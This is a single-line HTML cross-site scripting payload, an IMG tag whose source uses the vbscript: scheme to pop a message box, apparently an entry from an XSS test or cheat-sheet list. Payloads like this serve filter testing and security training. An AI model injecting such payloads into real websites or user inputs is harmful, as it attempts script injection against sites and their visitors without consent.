<IMG SRC='vbscript:msgbox("XSS")'>